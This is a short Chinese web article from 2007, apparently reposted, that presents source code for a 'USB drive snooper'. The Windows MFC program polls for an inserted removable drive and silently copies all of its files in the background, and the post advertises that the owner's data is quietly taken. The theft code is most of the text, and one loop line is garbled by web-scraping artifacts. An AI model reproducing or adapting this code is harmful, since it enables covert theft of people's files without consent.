闪盘窥探者

发表于:2007-07-01来源:作者:点击数: 标签:
这是一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出. 关键代码如下: //-------查找U盘------------------------------- CString CFDiskThiefDlg::FindFdisk() { CString strdir=""; for(c


这是一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.

关键代码如下:

//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
 CString strdir="";
 for(char clearcase/" target="_blank" >cc=@#A@#;cc<=@#Z@#;cc++)
 {
  strdir.Format("%c:",cc);
  if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘
       return strdir;
    }
    return strdir="";
}
//--------复制文件-----------------------------
void CFDiskThiefDlg::CopyFile(CString dir)
{  
 CFileFind tempFind;
    CString tempFileFind;
    tempFileFind.Format("%s\\*.*",dir);
    BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
    while(IsFinded)
    {
      IsFinded=(BOOL)tempFind.FindNextFile();
      if(!tempFind.IsDots())
      {
         CString foundFileName;
         foundFileName=tempFind.GetFileName();
  
         if(tempFind.IsDirectory())
         {
            CString tempDir;
            tempDir.Format("%s\\%s",dir,foundFileName);
            CopyFile(tempDir);
         }
         else
         {
            CString tempFileName1,tempFileName2;
            tempFileName1.Format("%s\\%s",dir,foundFileName);
   tempFileName2.Format("%s\\%s",m_Path,foundFileName);
            ::CopyFile(tempFileName1,tempFileName2,FALSE);
         }
      }
    }
    tempFind.Close();
}

void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
 // TODO: Add your message handler code here and/or call default
 if(IsRun)
 {
  m_NewFdisk=FindFdisk();
 
  if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
  {
   CopyFile(m_NewFdisk);
  }
        if(m_NewFdisk!="")
            m_OldFdisk=m_NewFdisk;
  else
            m_OldFdisk="NULL";
 }

 CDialog::OnTimer(nIDEvent);
}


原文转自:http://www.ltesting.net